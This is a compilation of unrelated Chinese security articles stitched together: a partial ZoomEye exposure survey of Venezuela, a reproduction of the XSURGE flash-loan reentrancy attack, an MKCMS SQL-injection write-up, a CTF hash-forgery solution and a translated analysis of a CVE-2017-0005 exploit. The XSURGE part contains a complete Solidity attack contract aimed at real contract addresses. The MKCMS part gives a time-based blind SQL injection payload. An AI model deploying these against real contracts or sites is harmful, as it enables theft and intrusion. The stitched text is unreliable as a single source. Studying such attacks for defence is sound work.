such as D-Link, TP-Link, etc. Some routers may have vulnerabilities. (such as
the D-Link DIR series, their routers have a large number of security
vulnerabilities in history. There are three D-Link DIR series routers
belonging to this ISP.)
Statistics of the Identified Components Belonging to CANTV
The second-ranked Corporación Telemic C.A. is a Venezuelan television
broadcaster and telecommunications provider. Compared to the components of
CANTV, there are not a large number of civilian routers belonging to this ISP,
instead, there are 11,219 components identified as Microsoft HTTPAPI httpd. It
has been verified that these IP addresses are used by the real Windows
systems.
#### 2.4 HTTPS Certificate Statistics
The ZoomEye cyberspace search engine identified a total of 252,144 HTTPS
certificate information. After removing the certificate information such as
the router's certificate and self-signed certificate, a total of 645 domain
names information was extracted. The types of the domain names are as follows:
Government and educational websites make up a quarter of the total number of
websites. Mail-based websites account for 12%, and other types of websites
account for only 62%. From the perspective of HTTPS certificates, the
country's Internet development is relatively backward, and
government/educational websites are still the main force for Internet
development in the country.
#### 2.5 Security Response Capability
After the leak of the EternalBlue in 2017, the ability to quickly fix the
vulnerability also reflect the security response capability.
It can be seen that on April 24th, 2017, when the vulnerability just broke
out, only three hosts were implanted in the backdoor of Doublepulsar. This
also reflects from the side that the country is not the main target of cyber
warfare. But three weeks after the vulnerability has broken out, there are
still 132 hosts with vulnerabilities in the country, only 47 fewer than the
original 179, which also reflects the country's lack of security response
capabilities.
#### 2.6 Oil Sales Channels
During the understanding of the country's background, it can be known that the
country mainly relies on oil exports. But after searching the existing banner,
we only found one company related to oil production (`http://200.*.*.*`) and
one company that exports all kinds of items (including oil) (`http:/
/201.*.*.*`).
It also reflects that the country’s oil exports have fixed distribution
channels, confirming the fact that oil exploitation is controlled by state-owned enterprises.
#### 2.7 Distribution of ICS Ports
According to the data of the ZoomEye cyberspace search engine, a small number
of industrial control system devices in Venezuela was exposed to the public
network. Known industrial control system devices or industrial control
protocols (active in the past year) are as follows:
ICS devices/protocols | Quantity
---|---
Siemens S7 PLC Device | 1
Modbus | 6
BACnet | 1
Crimson V3 | 1
OMRON FINS | 1 | 社区文章 |
**作者：w2ning
本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！ 投稿邮箱：[email protected]**
## 概述
上周8 月 17 日,BSC上的XSURGE被攻击。 攻击者利用`闪电贷+重入攻击`反复低买高卖， 导致项目损失约500万美金。
本文尝试对漏洞原理进行分析，并搭建环境完整复现整个攻击流程。
## 问题代码
* `sell()` 函数中存在Low-level-call函数调用,虽然使用了`nonReentrant()`， 但无法防御其他函数被异常调用的攻击场景
* 这里的卖出逻辑在顺序上有误，BNB已经被返回给用户，而`_totalSupply`还未被更改
* 而`Surge`的价格由该合约地址的`BNB`余额和`_totalSupply`计算而来
* 既然有`sell()` 函数， 那是不是应该有`buy()`函数呢？并没有，直到我发现了`purchase()`
* 好吧，是我词汇量太差了
* `purchase()`函数在`receive()`中触发
* 在`Solidity 0.6.0`之后的版本中，无名函数被分化成了`fallback()`和`receive()`
> 一个合约只能有一个receive函数，该函数不能有参数和返回值，需设置为external，payable；
>
> 当该合约收到BNB但并未被调用任何函数，未接受任何数据，receive函数将被触发；
* 也就是说我们可以通过直接向合约转账的方式购买`Surge`
> 该合约代码中，处处显露着开发者抖的小机灵，字里行间写满着`不规范`。 项目方直接在Token合约中提供了流动性。
> 连在DEX上提供交易对的步骤都可以省略，土狗的气息扑面而来。
## 事件分析
* 攻击合约
0x59c686272e6f11dC8701A162F938fb085D940ad3
* 攻击交易
0x7e2a6ec08464e8e0118368cb933dc64ed9ce36445ecf9c49cacb970ea78531d2
* 被攻击合约同时也是SurgeToekn合约地址
0xE1E1Aa58983F6b8eE8E4eCD206ceA6578F036c21
#### 攻击流程
* 第一步 从Pancake 通过`flashSwap`借出 10000 个WBNB
> 由于`PancakeSwap` 借鉴了`Uniswap V2`的代码,所以同样拥有`flashSwap`的功能
>
> 虽然`Pancake`的官方文档并没有提及这一功能,但不代表它没有
>
> 显然，`PancakeSwap`上的`flashSwap`调用方法与`Uniswap V2`也没有区别
<https://docs.uniswap.org/protocol/V2/guides/smart-contract-integration/using-flash-swaps>
> * 第二步 把10000个WBNB换成10000个BNB
> 如果`WBNB`和`WETH10`一样提供`flashMint`就更方便了
* 循环攻击SurgeToken合约(共6次)
* 调用WBNB的`Deposit`,把赚到的`22191`个BNB存入，换成等额的`WBNB`
* 调用WBNB的`transfer`,把`10030`个WBNB归还给Pancake
* 调用WBNB合约的`Withdrawal`,把`12161`个WBNB取出,完成攻击
## 复现方法
* 攻击发生在高度为`10087724`的块上，所以同样我们选择稍早的块`10087723`去Fork。
* 在编写攻击代码的过程中，我尝试用`solidity 0.8.0`高版本去还原攻击者的全部流程。
* 要注意的是，在`receive()`函数中要区分向攻击合约发送`BNB`的地址是来自`WBNB`合约还是`SurgeToken`合约
* 因为攻击流程中，`WBNB`也会向攻击合约发送`BNB`，此时不应该触发攻击逻辑。
receive() external payable {
// 如果转账地址为SurgerToken，且循环次数不满6次，则触发攻击逻辑
if(msg.sender == Surge_Address && time < 6){
// 此时SurgeToken的TotalSupply还未更改
// 而卖出操作返还的BNB已经打回了攻击合约账户
// 通过重入，强行购买，就可以用更低的价格购买Surge
(bool buy_successful,) = payable(Surge_Address).call{value: address(this).balance, gas: 40000}("");
time++;
}
* 而在调用`PancakeSwap`的`FlashSwap`功能处，为了不引入外部文件，我并没有选择套利者通用的代码模板， 而是自己写了简陋的`interface`，把`Pair`地址写死，而不是去`PancakeFactory`上查询，在已知`Token0`和`Token1`的情况下，也没有加入校验的逻辑。终于完成了对该功能的最小化实现。
* 完整攻击合约代码
// SPDX-License-Identifier: Apache-2.0
pragma solidity =0.8.0;
interface IpancakePair{
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function token0() external view returns (address);
function token1() external view returns (address);
}
interface WBNB {
function deposit() payable external;
function withdraw(uint wad) external;
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
}
interface Token {
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
}
interface Surge{
function sell(uint256 tokenAmount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
}
contract test{
address private constant cake_Address = 0x0E09FaBB73Bd3Ade0a17ECC321fD13a19e81cE82;
address private constant WBNB_Address = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
address private constant Pancake_Pair_Address = 0x0eD7e52944161450477ee417DE9Cd3a859b14fD0;
address public constant Surge_Address = 0xE1E1Aa58983F6b8eE8E4eCD206ceA6578F036c21;
// 这里填你自己的测试地址
address public wallet = 0x8F14c19ed3d592039D2F6aD372bd809228369D77;
uint8 public time = 0;
function Attack()external {
// Brrow 10000 WBNB
bytes memory data = abi.encode(WBNB_Address, 10000*1e18);
IpancakePair(Pancake_Pair_Address).swap(0,10000*1e18,address(this),data);
}
function pancakeCall(address sender, uint amount0, uint amount1, bytes calldata data) external{
//把WBNB换成BNB
WBNB(WBNB_Address).withdraw(WBNB(WBNB_Address).balanceOf(address(this)));
// Buy
(bool buy_successful,) = payable(Surge_Address).call{value: address(this).balance, gas: 40000}("");
//循环6次
Surge(Surge_Address).sell(Surge(Surge_Address).balanceOf(address(this)));
Surge(Surge_Address).sell(Surge(Surge_Address).balanceOf(address(this)));
Surge(Surge_Address).sell(Surge(Surge_Address).balanceOf(address(this)));
Surge(Surge_Address).sell(Surge(Surge_Address).balanceOf(address(this)));
Surge(Surge_Address).sell(Surge(Surge_Address).balanceOf(address(this)));
Surge(Surge_Address).sell(Surge(Surge_Address).balanceOf(address(this)));
Surge(Surge_Address).sell(Surge(Surge_Address).balanceOf(address(this)));
//把所有BNB换成WBNB
WBNB(WBNB_Address).deposit{value: address(this).balance}();
//还给PancakeSwap 10030个WBNB
Token(WBNB_Address).transfer(Pancake_Pair_Address, 10030*1e18);
WBNB(WBNB_Address).transfer(wallet,WBNB(WBNB_Address).balanceOf(address(this)));
}
receive() external payable {
if(msg.sender == Surge_Address && time < 6){
(bool buy_successful,) = payable(Surge_Address).call{value: address(this).balance, gas: 40000}("");
time++;
}
}
}
* 攻击前的Metamask钱包余额
* 部署合约 点击Attack
* 攻击完成后地址上多了11869个WBNB (本来应该还给Pancake 10030个WBNB的，代码写错了还了10300个...)
* * * | 社区文章 |
## 一、前言
米酷cms是一套用户视频搭建的cms，源码中存在大量sql注入，选了两处进行记录其余过程原理和过程都一样就不记录了。
#### 二、注册处SQL注入
漏洞位置：\ucenter\reg.php，第1~18行。
系统在`system\library.php`中对`$_GET`和`$_POST`等使用addslashes()函数进行了全局过滤，如下所示：
而在`ucenter\reg.php`文件中接受前端传入的`username`参数后使用`stripslashes()`函数去除了反斜杠，然后拼接进入数据库查询操作造成sql注入如下所示：
漏洞复现：
首先注册一个正常用户，然后在进行注册抓取相应的注册数据添加单引号，按照代码执行逻辑，sql语句单引号未闭合导致sql语句执行出错返回为null，代码判断即为用户名不存在，进入下一步判断邮箱是否存在。故利用此来进行注入
如下所示：kobe为注册存在的用户名，使用and永真条件判断sql查询返回用户数据，故显示用户名存在：
使用and永假条件sql查询无数据返回，判断用户不存在进行下一步邮箱判断如下所示：
#### 三、基于时间的sql盲注
漏洞位置：`admin\model\admin_edit.php`第1-23行，漏洞参数`id`漏洞代码如下所示：
<?php
if (isset($_POST['save'])) {
null_back($_POST['a_name'], '请填写登录账号');
null_back($_POST['a_password'], '请填写登录密码');
null_back($_POST['a_cpassword'], '请重复输入登录密码');
if ($_POST['a_password'] != $_POST['a_cpassword']) {
alert_back('两次输入的密码不一致');
}
$result = mysqli_query($conn,'select * from mkcms_manager where m_name = "' . $_POST['a_name'] . '" and m_id <> ' . $_GET['id'] . '');
if (mysqli_fetch_array($result)) {
alert_back('登录账号重复，请更换登录账号。');
}
$_data['m_name'] = $_POST['a_name'];
$_data['m_password'] = md5($_POST['a_password']);
$sql = 'update mkcms_manager set ' . arrtoupdate($_data) . ' where m_id = ' . $_GET['id'] . '';
if (mysqli_query($conn,$sql)) {
alert_href('管理员修改成功!', 'cms_admin.php');
} else {
alert_back('修改失败!');
}
}
上述代码直接将前端传入的`id`参数拼接入sql语句中造成sql注入，此处无任何差异回显，可以使用基于时间的盲注进行，如下所示构造POC
/admin/cms_admin_edit.php?id=3+and+if(1=2,1,sleep(2))
当发送payload中if判断条件为真时if函数值为1，响应时间为几毫秒如下所示：
当发送payload中if条件为假时，sleep(2),响应时间大于4秒(有两个sql语句执行)如下所示：
之后还有很多文件都有注入就不记录了，相冲cnvd的老哥可以自己去看看。 | 社区文章 |
### SECT CTF crypto Gsh 思路分享
@(思路)[AES-ECB][hash forge][高斯消元]
> 题目描述：
> About last night...
> Service: nc 178.128.171.133 3333 | nc crypto.sect.ctf.rocks 3333
> Download: gsh.tar.gz
> Author: grocid
* * *
这道题是[grocid](https://grocid.net/)出的，一直看着大佬的分享，在这谢谢大佬。
**reddit.txt**
Submitted 2 months ago by [deleted] to /r/infoleaks
I tried to login... was able to get a shell, but as a restricted user.
It seems horrendously badly configured. Which is what I would've expected.
Fortunately, I found a source code from an old unencrypted backup drive...
this one's particularly interesting...
class AESHash(object):
def __init__(self, key):
self.bs = 16
self.key = hashlib.sha256(key.encode()).digest()
def _pkcs7pad(self, s, blksize=16):
missing = abs(len(s) - (len(s) / blksize + 1) * blksize)
return s + (chr(missing) * missing)
def digest(self, user, password):
cipher = AES.new(self.key, AES.MODE_ECB)
q = 0
data = self._pkcs7pad(user + password)
for i in xrange(0, len(data), self.bs):
block = data[i:i + self.bs]
q ^= int(cipher.encrypt(block).encode("hex"), 0x10)
return q
Their authentication mechanism uses some weird keyed AES-based MAC -- I've
never seen anything like it before. I'd say it's insecure, but I don't know
how to exploit it. Also, it's written in Python. Really?
Since the HMAC combines credentials in the following way... it's kind of
moot to give it a try. I've learnt from one-oh-one that h(message | key) is
secure... I think. Motherf... I'll give up; it's late and I need to go to
sleep... over and out. For now.
-- JD
The revolution will not be televised.
#### 信息搜集
> reddit上找了一通，没线索。那nc过去看看：
root@bin:/mnt/hgfs/CTF# nc 178.128.171.133 3333
Login (leave empty to create)
user:
Creating new user
user: 2
password:
IO error: cannot write 2:b5bbe950b1f52310ec0f986f4aeacbbb to /etc/shadow.
Logged in as 2
$ ls
-rw-r--r-- 1 admin staff 27 Sep 5 19:31 flag.txt
-rw------- 1 admin staff 27 Sep 5 19:31 invoice.xls
$ cat flag.txt
-[--->+<]>--.[->+++++++<]>.--.>-[--->+<]>-.--[-->+++<]>.-------.------------.[-->+<]>---.[--->++<]>---.++[->+++<]>.+[-->+<]>+.[--->++<]>---.++[->+++<]>.[--->+<]>---.>-[----->+<]>.+.++[->++<]>.-------------.+++++++.++++++.-----------.++++++.--------.+[-->+<]>+.-[->++<]>-.---------------.[--->+<]>++.--[->+++++<]>.[----->+<]>---.----.++++++++++.>-[----->+<]>.>--[-->+++<]>.
$ cat /etc/shadow
admin:8f643bbafa959617b12b591f3145e5c0
> [brainfuck](https://copy.sh/brainfuck/)
> 得到flag:SECT{th1s_1s_r34l_flag_1_Pr0mis3}.喵喵喵？提交是fake flag。
#### 分析
class AESHash(object):
def __init__(self, key):
self.bs = 16
self.key = hashlib.sha256(key.encode()).digest()
def _pkcs7pad(self, s, blksize=16):
missing = abs(len(s) - (len(s) / blksize + 1) * blksize)
return s + (chr(missing) * missing)
def digest(self, user, password):
cipher = AES.new(self.key, AES.MODE_ECB)
q = 0
data = self._pkcs7pad(user + password)
for i in xrange(0, len(data), self.bs):
block = data[i:i + self.bs]
q ^= int(cipher.encrypt(block).encode("hex"), 0x10)
return q
题目提供了加密的oracle,可以任意_pkcs7pad(username+password)的AES-ECB
hash,我们的目的是伪造出hash为8f643bbafa959617b12b591f3145e5c0的一串字符。
**密码是弱密码？**
要不用rockyou.txt爆破试试？
爆破了一段时间，主办方检测到了，，提示： **不必用admin登陆**
AES-ECB, 我们能得到任意对plaintext-ciphertext.然后恢复出16byte的Key，目前计算能力还不可能,[参考](https://crypto.stackexchange.com/questions/30251/finding-key-of-aes-in-ecb-mode)
那接着想...
**q ^= int(cipher.encrypt(block).encode("hex"), 0x10)**
我们可以得到一定长度(>=128)的list,则我们需要的 **8f643bbafa959617b12b591f3145e5c0**
一定在这个list的sublist的xor里,子串的空间远大于目标大小。
In [15]: a = 0
In [16]: b = 200
In [17]: for i in range(1,200):
...: a+=math.factorial(200)/(math.factorial(200-i)*math.factorial(i))
...:
...:
In [18]: print a
1606938044258990275541962092341162602522202993782792835301374
In [19]: a>n#n=0x8f643bbafa959617b12b591f3145e5c0
Out[19]: True
In [20]: a//n
Out[20]: 4722366482869645213695L
因为目标hash的长度为128bit,我们得到128对(plaintext-ciphertext)就能在ciphertext的子集里xor后得到目标hash.
这里想到了[背包求解](https://ctf-wiki.github.io/ctf-wiki/crypto/asymmetric/knapsack/knapsack/),构造着发现xor不能放入矩阵中，又不是超递增序列，xd,放弃。
**换方向，要不是算法？**
[google看看](https://www.geeksforgeeks.org/count-number-of-subsets-having-a-particular-xor-value/)
动态规划？
试了试，放弃了，空间换时间，但是需要的空间太大了。
**bingo**
128bit xor？高斯消元问题(我好菜啊)
转换成128个mod2的方程，生成方程脚本。
* * *
pubKey = [113602217935607289453201245405212005384L, 269903559201925776990330113614440744455L, 241565958944381636901648516767764106171L, 293672457538477642706410811981171228129L, 272079616170753890530117150285282929599L, 269802233640074548208254108223689761648L, 32133977644431573130477059196438070444L, 168481870008700738830294105175750796933L, 334922603314748487392344955780653300791L, 229414278903494832894227239178044704871L, 314703640767546154017347102168549516178L, 229972393494801775976797693407437555074L, 125452168836448551076922910806630459951L, 262636539008753216495347364077806328737L, 303348595956025858261652430594209650251L, 132672121569498985439667061816466777526L, 89476347243353865055927706682672438996L, 286115169586201751228609487648065866581L, 38893596458691279680158477802167839522L, 110805151320319006854019117500520175271L, 217194583637807804833392150804070536402L, 283037099573651336758040780021200142310L, 7196865238995195499778618888341499355L, 284856974763903941648686303990344767756L, 46821015876162010421748088382302560276L, 45388127152583280472844240800679060217L, 146834781513464544824789678632912373136L, 310644875230998320116732885820655222497L, 131576182487433797424666312540180389984L, 171632252297102443689664876555372193475L, 317207614102114190031478247173880580720L, 2019229043570815776979555681544956730L, 245332635870108819924360320160703080019L, 239746812010932291984386741568646528638L, 228150701255382534989917544119797599448L, 185329463144774238518171826187628783159L, 158422852548138928063071348282524371388L, 158047794225017117130631522128526938570L, 90002203713415179765155403291211983672L, 76183402577795977133563149834619010424L, 327033792199131907487376336916299010622L, 118110037947296269297522351912372815433L, 321331302318616639237472643742369122434L, 289871679349655287280426454891864460350L, 75896741940518641522389176253255931779L, 197528980393672022096646323382660721736L, 115267970274030551815131740534349838092L, 49128996804450313910781079594870471752L, 123453828800152009102665156279329464542L, 130762113187729390222390303095979243117L, 61962357689242046630039464984615623418L, 140348449816079277411275534159670289956L, 33935328799922823116297326841875084885L, 35446070094974416393317951914222282384L, 140292576835520415898099759285324407527L, 147146547617559489772915310720919332096L, 89646310806806036514713906069580365796L, 146874883014409295818531141503483994057L, 215437059004110248276750706046950925500L, 188221500525429520226503459794681179563L, 107972196836043571189384335713705530585L, 319718467664145050267908415211752615178L, 33790415791374444635822170504733312663L, 268800796979802432176455203809128526484L, 80514653928319629483719911526029943056L, 135353781885361716043230856191705908194L, 248180642408496061561454976433206893558L, 167655055161390482231544772656939164871L, 190331929667729623461110734835852719728L, 187872543812390919449231797787200390383L, 731101207891086255367024962539452869L, 331480993999803516069715352266054794594L, 85051118383149231027697337373798989241L, 47155605115554939334278125433372864400L, 121571815342736079022184219812503381803L, 263897155994150599327720693337921055396L, 54773392672203757877373626108902217120L, 138230004851931690176273198756282683622L, 283961092605567520993276283761367292625L, 287427965518330255286468485630091923645L, 46048869046414685264563278604990544304L, 243992658215021478151816473612407007169L, 338863296884167753624774150576543762901L, 249144433185189696822461918937843402675L, 174818984157084863003810504402963987843L, 49928437897272681604945166345382507316L, 169811917566691913816282203750125937825L, 248050233964070849706166860569612457954L, 1520258942159896323411963668751448396L, 333903589113355008603671520689640095324L, 337283667498635266986955607930131881010L, 197275029571731159274404014534356327324L, 129127001502279772254983153277368979360L, 177664913726081238004970583318541857889L, 85345496984135463087607716053977274319L, 91067168265864964696323804190072902614L, 192313254602131543459595847451029739619L, 112569030115633226287082881409522972259L, 150001238724700829259323667615673880452L, 78068730795594359467947320547021453088L, 164343369109346155112267741409523371420L, 228295673936931267244009383358414484278L, 66434581323900441939497595202767346873L, 312252109240210724403681095721447485886L, 179536901124859573787240720578905054392L, 265439400460700457940046726125324252004L, 241729208168572831927145640303669387214L, 224337267414262612853089595775967279611L, 211673272870623245856836660056154165887L, 88864449641825470063121187794230717364L, 73583051201515982281955717688769709645L, 260362752765785315958751287873241950198L, 52643190122666891387028838978738517195L, 154358808680938772019044733343352311407L, 196770985680500542539525268347680436167L, 328641879029504610590589570948678125864L, 24055869246749042499776225701332337057L, 38962078756404369905292170184025166626L, 170464594782261344004111979932874732922L, 232969215105220038515319207645195415802L, 208232609530347149967744742865898294226L, 275011224471984173494987769795990207177L, 308448887477339611643764297681803645311L, 39333230010553686835704431573974868722L, 280137539273739588435755948932899843402L, 253559907074997393930500823898473019197L, 125435856573771157299386612169553004907L, 115668627810610406030382750471801939809L, 23014601533775013085562579636743156201L, 11638513728055365905389210485318791555L,98597860941506298802187660394195423776L, 304512308993000256655319287612711900807L, 14613834564922699655380962015367927765L, 246925452458798984849277761651527906021L, 163938503868483016450886771295612831911L, 109796792849187331500478984080856610695L, 199759177923708969317747029879348989258L, 331339365629637604448480638753676331661L, 12422981147352332285955737972268754463L, 332030753925344401561153559659396583657L]
target = 0x8f643bbafa959617b12b591f3145e5c0
pubKey = pubKey[:128]
def _pkcs7pad(s, blksize=16):
missing = abs(len(s) - (len(s) / blksize + 1) * blksize)
return s + (chr(missing) * missing)
print len(pubKey)
for i in range(0,128):
txt = ""
for j in pubKey:
if bin(j)[2:].zfill(128)[i] =="1":
txt+="a"+str(pubKey.index(j))+"+"
txt= txt[:-1]+"=="+bin(target)[2:].zfill(128)[i]
print txt
这里我用wolfram mathematics求解(脚本见附件)
* * *
从结果可知，多解，C[1]为0，1均可，这里我取c[1]=0，得到了一组sublist :`out =
[2,4,5,9,10,11,12,13,16,17,22,24,27,28,30,31,32,35,36,38,40,43,45,47,48,49,51,52,54,57,59,62,63,64,68,71,73,75,79,80,81,87,89,90,92,93,94,97,98,99,101,103,105,106,111,115,116,117,118,120,121,122,123,124,126,127]`
验证结果：
In [71]: print a
[0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 35, 36, 38, 40, 43, 45, 47, 48, 49, 51, 52, 54, 57, 59, 62, 63, 64, 68, 71, 73, 75, 79, 80, 81, 87, 89, 90, 92, 93, 94, 97, 98, 99, 101, 103, 105, 106, 111, 115, 116, 117, 118, 120, 121, 122, 123, 124, 126, 127]
In [72]: a= [2,4,5,9,10,11,12,13,16,17,22,24,27,28,30,31,32,35,36,38,40,43,45,47
...: ,48,49,51,52,54,57,59,62,63,64,68,71,73,75,79,80,81,87,89,90,92,93,94,9
...: 7,98,99,101,103,105,106,111,115,116,117,118,120,121,122,123,124,126,127
...: ]
In [73]:
In [73]: txt=0
...: for i in a:
...: txt^=pubKey[i]
...:
In [74]:
In [74]: print hex(txt)
0x8f643bbafa959617b12b591f3145e5c0L
求解:
from pwn import *
context.log_level = "debug"
# f = open("rockyou.txt","rb").read().split("\n")[::-1]
test = []
def _pkcs7pad(s, blksize):
missing = abs(len(s) - (len(s) / blksize + 1) * blksize)
return s + (chr(missing) * missing)
out = [2,4,5,9,10,11,12,13,16,17,22,24,27,28,30,31,32,35,36,38,40,43,45,47,48,49,51,52,54,57,59,62,63,64,68,71,73,75,79,80,81,87,89,90,92,93,94,97,98,99,101,103,105,106,111,115,116,117,118,120,121,122,123,124,126,127]
aeshash = ""
for i in out[:-1]:
aeshash+=_pkcs7pad(str(i),16)
aeshash+=str(out[-1])
print len(aeshash)
print repr(aeshash)
for i in range(130,140):
io = remote("178.128.171.133", 3333)
io.recvuntil("user: ")
# io.sendline()
# io.recvuntil("user: ")
io.sendline(aeshash)
io.recvuntil("password: ")
io.sendline()
data = io.recvuntil("Logged in as")
io.interactive()
# $ cat invoice.xls
[DEBUG] Sent 0x10 bytes:
'cat invoice.xls\n'
[DEBUG] Received 0x24 bytes:
'SECT{...1_w4s_ly1ng_0f_c0urse_LuLz}\n'
SECT{...1_w4s_ly1ng_0f_c0urse_LuLz}
[DEBUG] Received 0x2 bytes:
'# '
# $
> 总结: 算法需要加强，怼题不能放弃，不要以分数为目的而不停的换题做。 | 社区文章 |
# 【技术分析】如何检测及防护基于CVE-2017-0005漏洞的权限提升攻击
|
##### 译文声明
本文是翻译文章，文章来源：blogs.technet.microsoft.com
原文地址：<https://blogs.technet.microsoft.com/mmpc/2017/03/27/detecting-and-mitigating-elevation-of-privilege-exploit-for-cve-2017-0005/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**一、前言**
2017年3月14日，微软公布了安全公告[MS17-013](https://technet.microsoft.com/en-us/library/security/ms17-013.aspx)，修复了CVE-2017-0005漏洞。CVE-2017-0005漏洞位于Windows
Win32k组件中，攻击者利用该漏洞可能实现权限提升。根据合作伙伴的可信报告，我们发现了该漏洞的零日（zero-day）利用方法。漏洞利用的目标系统为老版本的Windows系统，攻击者可借此在目标系统上提升进程权限。
在本文中，我们详细分析了漏洞利用方法的技术细节，评估了Windows
10周年更新版（于2016年8月份发布）对漏洞的防御效果，同时也评估了一些缓解措施的效果，比如SMEP（Supervisor Mode Execution
Prevention，管理模式执行保护）以及VBS（virtualization-based
security，基于虚拟化的安全）。此外，我们也展示了Windows在创造者更新（Creators Update）中带来的[Windows
Defender ATP](https://www.microsoft.com/en-us/WindowsForBusiness/windows-atp)（Windows Defender Advanced Threat
Protection）的[增强功能](https://blogs.microsoft.com/microsoftsecure/2017/03/13/whats-new-in-the-windows-defender-atp-creators-update-preview/)，Windows Defender
ATP可以检测攻击者实施的权限提升（elevation-of-privilege，EoP）攻击行为，自然也能检测与该漏洞有关的权限提升攻击行为。
**二、权限提升攻击细节**
经过对漏洞利用代码的审计分析后，我们发现此次EoP攻击的目标为运行Windows 7以及Windows
8的主机。攻击者精心构造了利用工具，避免其运行在较新的平台上。
漏洞利用工具的执行过程中的各个阶段以及对应的函数如图1所示。
**2.1 阶段1 &2：解密器以及API解析器**
为了保护主功能代码，攻击者使用AES-256算法对初始阶段的PE文件进行加密。为了加载下一阶段的代码，程序需要将某个密码作为参数传递给主入口函数。代码中使用了[CryptHashData](https://msdn.microsoft.com/en-us/library/windows/desktop/aa380202\(v=vs.85\).aspx)这个API，将传入的密码作为密钥来解密下一阶段的载荷。
第2阶段充当了一个中间阶段的角色，这个阶段用来解析API函数。这一阶段所做的API解析工作与shellcode或者位置无关（position-independent）代码的运行过程类似。
[GetProcAddress](https://msdn.microsoft.com/en-us/library/windows/desktop/ms683212\(v=vs.85\).aspx)
API解析过程的部分代码如下所示。这部分代码似乎会混淆后续的载荷，阻止对其的安全分析。
**2.3 阶段3：避免在新平台上运行**
在阶段3中，利用工具会执行一些环境检查过程，特别是会检查操作系统平台以及具体的版本信息。攻击者借此确保漏洞利用代码运行在存在漏洞的系统上（具体说来，这些系统为Windows
7以及Windows 8），它们较少启用对应的漏洞防护功能。
从代码中我们可知，工具专门针对特定版本的Windows系统研发，具体版本为：
主版本号（Major release version）为5；
主版本号为6，次版本号（minor version）为0、1或者2。
这些版本对应的是Windows 2000以及Windows 8之间的[Windows操作系统](https://msdn.microsoft.com/en-us/library/windows/desktop/ms724832\(v=vs.85\).aspx)，其中不包含Windows 8.1以及Windows
10。此外，仔细研究其中的系统架构检查代码后，我们发现漏洞利用代码针对的是64位操作系统。
下一阶段的载荷通过DLL反射技术完成加载。
**2.4 阶段4：漏洞利用程序**
环境检查通过后，攻击代码开始真正利用CVE-2017-0005这个Windows内核漏洞，最终造成内存崩溃，实现代码权限提升目的。
通过破坏PALETTE.pfnGetNearestFromPalentry中的一个指针，程序可以实现内存空间中的代码执行。微软安全研究员一直在密切跟踪这种利用技术，这种技术可以通过精心构造的PALETTE对象实现在内核中执行代码。此前我们在Duqu安全事件的一个样本中观察到这种漏洞利用技术，并于Virus
Bulletin
2015的[演讲](https://www.virusbulletin.com/uploads/pdf/conference_slides/2015/OhFlorio-VB2015.pdf)中介绍过这种技术。
如下代码片段中，我们可以看到PALETTE函数指针处于损坏状态：
漏洞利用代码调用NtGdiEngBitBlt这个原生API来触发[win32k!XLATEOBJ_iXlate](https://msdn.microsoft.com/en-us/library/windows/hardware/ff570642\(v=vs.85\).aspx)函数，后者使用了已损坏的那个处理函数。这样一来，控制流就会传递给之前已分配的一段shellcode。相对比而言，Duqu
2.0中的漏洞利用代码使用了Gdi32.dll中的[GetNearestPaletteIndex](https://msdn.microsoft.com/en-us/library/windows/desktop/dd144903\(v=vs.85\).aspx)函数，以便将程序执行权传递给损坏的回调处理函数。虽然这两个漏洞利用代码在某些地方有些相似，但根据这个不同点，我们可以判定这两个漏洞利用代码并不相关，此类漏洞利用技术有非常翔实的参考文档，因此也能解释这两段利用代码的相似性。
漏洞利用代码使用动态创建的系统调用（syscall）代码片段来调用原生的Windows API，如下所示。
shellcode执行期间的调用栈如下所示：
shellcode执行后，利用程序会使用一种常见的令牌交换（token-swapping）技术来将当前进程的权限提升到SYSTEM权限。在类似的EoP漏洞利用中我们经常可以看到这种技术。
**三、防护及检测方法**
前面提到过，这个零日漏洞利用程序没有针对诸如Windows
10之类的较新的系统。如果环境检查过程通过，那么漏洞利用代码就会在目标系统中执行，根据我们的测试结果，我们发现如果系统部署了其他的防护机制，那么漏洞利用程序就无法执行全部代码。我们可以分析一下这两种防护技术，一种是中期的防护方法，也可以称之为战术级防护方法，旨在打破漏洞利用的执行过程，另一种是长期的防护方法，也可以称之为战略级防护方法，旨在完全消除漏洞，阻止漏洞利用。
**3.1 战术级防护：阻止程序滥用pfnGetNearestFromPalentry**
漏洞利用代码中利用PALETTE.pfnGetNearestFromPalentry作为控制权传送点，微软安全研究员对这种技术已经跟踪了一段时间。事实上，我们一直在研究针对这种技术的战术级防护方法。2016年8月，在发布Windows
10周年更新版的同时，微软公布了一种战术级防护机制，目的在于防止程序滥用pfnGetNearestFromPalentry。当PALETTE函数指针被调用时，这种防护机制会检查函数指针的有效性，确保只有预定义的一组函数会被调用，防止相应的结构体被滥用。
**3.2 战略级防护**
除了上面描述的战术级防护机制外，Windows 10在64位内核中引入了SMEP、ASLR增强特性，也引入了基于虚拟化的安全（virtualization-based security，VBS）机制，可以阻止漏洞利用过程。
**3.2.1 管理模式执行保护**
SMEP（Supervisor Mode Execution Prevention，管理模式执行保护）是一种战略级防护特性，新版的Intel
CPU支持这一功能，自Windows 8以来，微软也引入了这种安全特性。
启用SMEP特性后，页表项（page table
entry，PTE）中的标志位作为用户/管理员（U/S）标志，可以指定页面处于用户模式或者内核模式。如果内核模式代码调用了某个用户模式页面，SMEP就会产生访问冲突，系统会触发错误检查过程，停止代码执行过程并报告安全冲突。这种机制可以阻止利用用户模式分配的可执行页面来运行内核模式下的shellcode，而这种运行机制是EoP漏洞利用程序常用的方法。
